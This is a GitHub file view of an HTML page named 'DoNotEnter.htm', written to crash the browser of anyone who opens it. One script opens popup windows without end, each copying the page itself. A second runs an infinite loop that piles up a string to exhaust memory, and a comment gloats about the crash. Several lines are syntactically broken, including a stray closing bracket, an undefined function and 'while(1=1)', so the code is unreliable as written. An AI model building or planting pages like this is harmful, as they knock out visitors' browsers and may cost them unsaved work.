-
Notifications
You must be signed in to change notification settings - Fork 0
/
DoNotEnter.htm
36 lines (36 loc) · 887 Bytes
/
DoNotEnter.htm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<html>
<body>
<p id="demo"></p>
<script>
setInterval(function() {
var w = window.open();
w.document.write(document.documentElement.outerHTML||document.documentElement.innerHTML);
}, 0);
document.getElementById("demo").innerHTML = myFunction
});
</script>
<script type="text/javascript">
var txt = 1
txt = "a";
while(1=1){
txt = txt += "a";
txt = txt += "a";
txt = txt += "a";
txt = txt += "a";
txt = txt += "a";
txt = txt += "a";
txt = txt += "a";
txt = txt += "a";
txt = txt += "a";
txt = txt * txt; //add as much as the browser can handle
}
//[evil laugh] BOOM! All memory used up, and it is now CRASHED!
</script>
<h1>
the value for txt is:
<script type="text/javascript">
document.write(txt)
</script>
</h1>
</body>
</html>